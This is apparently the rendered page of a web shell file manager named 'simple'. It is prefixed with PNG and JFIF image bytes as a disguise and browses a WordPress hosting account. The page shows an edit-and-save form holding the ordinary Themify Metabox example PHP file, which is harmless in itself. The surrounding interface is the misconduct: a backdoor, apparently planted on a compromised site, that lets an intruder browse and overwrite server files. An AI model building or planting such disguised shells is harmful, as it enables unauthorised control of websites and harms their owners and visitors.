�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fhome%2F'>home</a>/<a href='?path=%2Fhome%2Fmycooffi%2F'>mycooffi</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2F'>public_html</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2F'>themes</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2Fthemify-ultra%2F'>themify-ultra</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2Fthemify-ultra%2Fthemify%2F'>themify</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2Fthemify-ultra%2Fthemify%2Fthemify-metabox%2F'>themify-metabox</a>/</p><hr><h3>✏️ Editing: example-functions.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Example of how Themify Metabox plugin can be used in themes and plugins.
 *
 * To use this file, enable the Themify Metabox plugin and then copy the contents of this file to
 * your theme's functions.php file, or &quot;include&quot; it.'
 *
 * @package Themify Metabox
 * @since 1.0
 */

/**
 * Register a custom meta box to display on Page post type
 *
 * @return array
 */
function themify_metabox_example_meta_box( $meta_boxes ) {
	$meta_boxes['tm-example'] = array(
		'id' =&gt; 'tm-example', // later, to add fields to this metabox we'll use &quot;themify_metabox/fields/tm-example&quot; filter hook, see function
		'title' =&gt; __( 'Themify Metabox Example', 'themify' ),
		'context' =&gt; 'normal',
		'priority' =&gt; 'high',
		'screen' =&gt; array( 'page' ),
	);

	return $meta_boxes;
}
add_filter( 'themify_metaboxes', 'themify_metabox_example_meta_box' );

/**
 * Setup the custom fields for our Themify Metabox Example meta box, added earlier in the themify_metabox_example_meta_box function
 *
 * @return array
 */
function themify_metabox_example_meta_box_fields( $fields, $post_type ) {
	$first_tab_options = array(
		array(
			'name' =&gt; 'text_field',
			'title' =&gt; __( 'Text field', 'themify' ),
			'description' =&gt; __( 'Field description is displayed below the field.', 'themify' ),
			'type' =&gt; 'textbox',
		),
		array(
			'name' =&gt; 'textarea_field',
			'title' =&gt; __( 'Textarea field', 'themify' ),
			'type' =&gt; 'textarea',
			'size' =&gt; 55,
			'rows' =&gt; 4,
		),
		array(
			'name' =&gt; 'image_field',
			'title' =&gt; __( 'Image field', 'themify' ),
			'description' =&gt; '',
			'type' =&gt; 'image',
			'meta' =&gt; array()
		),
		array(
			'name' =&gt; 'dropdown_field',
			'title' =&gt; __( 'Dropdown', 'themify' ),
			'type' =&gt; 'dropdown',
			'meta' =&gt; array(
				array( 'value' =&gt; '', 'name' =&gt; '' ),
				array( 'value' =&gt; 'yes', 'name' =&gt; __( 'Yes', 'themify' ), 'selected' =&gt; true ),
				array( 'value' =&gt; 'no', 'name' =&gt; __( 'No', 'themify' ) ),
			),
			'description' =&gt; __( 'You can set which option is selected by default. Cool, eh?', 'themify' ),
			// do not save the custom field when the option is set to Yes
			'default' =&gt; 'yes',
		),
		array(
			'name' =&gt; 'dropdownbutton_field',
			'title' =&gt; __( 'Dropdown Button', 'themify' ),
			'type' =&gt; 'dropdownbutton',
			'states' =&gt; array(
				array( 'value' =&gt; '', 'title' =&gt; __( 'Default', 'themify' ), 'icon' =&gt; '%s/ddbtn-blank.png', 'name' =&gt; __( 'Default', 'themify' ) ),
				array( 'value' =&gt; 'yes', 'title' =&gt; __( 'Yes', 'themify' ), 'icon' =&gt; '%s/ddbtn-check.svg', 'name' =&gt; __( 'Yes', 'themify' ) ),
				array( 'value' =&gt; 'no', 'title' =&gt; __( 'No', 'themify' ), 'icon' =&gt; '%s/ddbtn-cross.svg', 'name' =&gt; __( 'No', 'themify' ) ),
			),
			'description' =&gt; __( 'Similar to &quot;dropdown&quot; field, but allows setting custom icons for each state.', 'themify' ),
		),
		array(
			'name' =&gt; 'checkbox_field',
			'title' =&gt; __( 'Checkbox', 'themify' ),
			'label' =&gt; __( 'Checkbox label', 'themify' ),
			'type' =&gt; 'checkbox',
		),
		array(
			'name'        =&gt; 'radio_field',
			'title'       =&gt; __( 'Radio field', 'themify' ),
			'description' =&gt; __( 'You can hide or show option based on how other options are configured', 'themify' ),
			'type'        =&gt; 'radio',
			'meta'        =&gt; array(
				array( 'value' =&gt; 'yes', 'name' =&gt; __( 'Yes', 'themify' ), 'selected' =&gt; true ),
				array( 'value' =&gt; 'no', 'name' =&gt; __( 'No', 'themify' ) ),
			),
			'enable_toggle' =&gt; true,
			'default' =&gt; 'yes',
		),
		array(
			'name' =&gt; 'separator_image_size',
			'type' =&gt; 'separator',
			//'description' =&gt; __( 'Optional text to show after the separator', 'themify'. )
		),
		array(
			'type' =&gt; 'multi',
			'name' =&gt; 'multi_field',
			'title' =&gt; __( 'Multi fields', 'themify' ),
			'meta' =&gt; array(
				'fields' =&gt; array(
					array(
						'name' =&gt; 'image_width',
						'label' =&gt; __( 'width', 'themify' ),
						'description' =&gt; '',
						'type' =&gt; 'textbox',
						'meta' =&gt; array( 'size' =&gt; 'small' )
					),
					// Image Height
					array(
						'name' =&gt; 'image_height',
						'label' =&gt; __( 'height', 'themify' ),
						'type' =&gt; 'textbox',
						'meta' =&gt; array( 'size' =&gt; 'small' )
					),
				),
				'description' =&gt; __( '&quot;Multi&quot; field type allows displaying multiple fields together.', 'themify'),
				'before' =&gt; '',
				'after' =&gt; '',
				'separator' =&gt; ''
			)
		),
		array(
			'name'        =&gt; 'color_field',
			'title'       =&gt; __( 'Color', 'themify' ),
			'description' =&gt; '',
			'type'        =&gt; 'color',
			'meta'        =&gt; array( 'default' =&gt; null ),
			'class'      =&gt; 'yes-toggle'
		),
		array(
			'name'        =&gt; 'post_id_info_field',
			'title'       =&gt; __( 'Post ID', 'themify' ),
			'description' =&gt; __( 'This field type shows text with the ID of the post, which is: &lt;code&gt;%s&lt;/code&gt;', 'themify' ),
			'type'        =&gt; 'post_id_info',
		),
	);

	$second_tab_options = array(
		array(
			'name' 		=&gt; 'audio_field',
			'title' 	=&gt; __( 'Audio field', 'themify' ),
			'description' =&gt; '',
			'type' 		=&gt; 'audio',
			'meta'		=&gt; array(),
		),
		array(
			'name' 		=&gt; 'video_field',
			'title' 	=&gt; __( 'Video field', 'themify' ),
			'description' =&gt; '',
			'type' 		=&gt; 'video',
			'meta'		=&gt; array(),
		),
        array(
			'name' =&gt; 'gallery_shortcode_field',
			'title' =&gt; __( 'Gallery Shortcode field', 'themify' ),
			'description' =&gt; __( 'Using this field type you can add a gallery manager.', 'themify' ),
			'type' =&gt; 'gallery_shortcode',
        ),
		array(
			'name' =&gt; 'date_field',
			'title' =&gt; __( 'Date field', 'themify' ),
			'description' =&gt; '',
			'type' =&gt; 'date',
			'meta' =&gt; array(
				'default' =&gt; '',
				'pick' =&gt; __( 'Pick Date', 'themify' ),
				'close' =&gt; __( 'Done', 'themify' ),
				'clear' =&gt; __( 'Clear Date', 'themify' ),
				'time_format' =&gt; 'HH:mm:ss',
				'date_format' =&gt; 'yy-mm-dd',
				'timeseparator' =&gt; ' ',
			)
		),
		array(
			'name' =&gt; 'repeater_field',
			'title' =&gt; __( 'Repeater', 'themify' ),
			'type' =&gt; 'repeater',
			'fields' =&gt; array(
				array(
					'name' =&gt; 'text_1',
					'title' =&gt; __( 'Text Field', 'themify' ),
					'type' =&gt; 'textbox',
					'class' =&gt; 'small'
				),
				array(
					'name'        =&gt; 'color_field',
					'title'       =&gt; __( 'Color', 'themify' ),
					'description' =&gt; '',
					'type'        =&gt; 'color',
				),
				array(
					'name' =&gt; 'field_3',
					'title' =&gt; __( 'Dropdown', 'themify' ),
					'type' =&gt; 'dropdown',
					'meta' =&gt; array(
						array( 'value' =&gt; 'yes', 'name' =&gt; __( 'Yes', 'themify' ) ),
						array( 'value' =&gt; 'no', 'name' =&gt; __( 'No', 'themify' ) ),
					),
				),
			),
			'add_new_label' =&gt; __( 'Add new item', 'themify' ),
		),
	);

	$fields[] = array(
		'name' =&gt; __( 'First Tab', 'themify' ), // Name displayed in box
		'id' =&gt; 'first-tab',
		'options' =&gt; $first_tab_options,
	);
	$fields[] = array(
		'name' =&gt; __( 'Second Tab', 'themify' ), // Name displayed in box
		'id' =&gt; 'second-tab',
		'options' =&gt; $second_tab_options,
	);

	return $fields;
}
add_filter( 'themify_metabox/fields/tm-example', 'themify_metabox_example_meta_box_fields', 10, 2 );


/**
 * Add sample fields to the user profile screen
 *
 * @return array
 * @since 1.0.1
 */
function themify_metabox_example_user_fields( $fields ) {
	$fields['themify-metabox-sample'] = array(
		'title' =&gt; __( 'Sample fields added by Themify Metabox.', 'themify' ),
		'description' =&gt; __( 'Description text about the fields.', 'themify' ),
		'fields' =&gt; array(
			array(
				'name' =&gt; 'textbox_field',
				'title' =&gt; __( 'Text box', 'themify' ),
				'type' =&gt; 'textbox',
			),
			array(
				'name' =&gt; 'image_field',
				'title' =&gt; __( 'Image field', 'themify' ),
				'description' =&gt; __( 'This is only to show how field types can be used in user profile pages.', 'themify' ),
				'type' =&gt; 'image',
			),
		),
	);

	return $fields;
}
add_filter( 'themify_metabox/user/fields', 'themify_metabox_example_user_fields' );

/**
 * Add a sample Color field to Category taxonomy
 *
 * @since 1.0.3
 * @return array
 */
function themify_metabox_example_category_fields( $fields ) {
	$new_fields = array(
		array(
			'name'        =&gt; 'color_field',
			'title'       =&gt; __( 'Color', 'themify' ),
			'description' =&gt; '',
			'type'        =&gt; 'color',
			'meta'        =&gt; array( 'default' =&gt; null ),
		),
	);

	return array_merge( $fields, $new_fields );
}
add_filter( 'themify_metabox/taxonomy/category/fields', 'themify_metabox_example_category_fields', 10 );
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2Fthemify-ultra%2Fthemify%2Fthemify-metabox'>🔙 Back</a></p>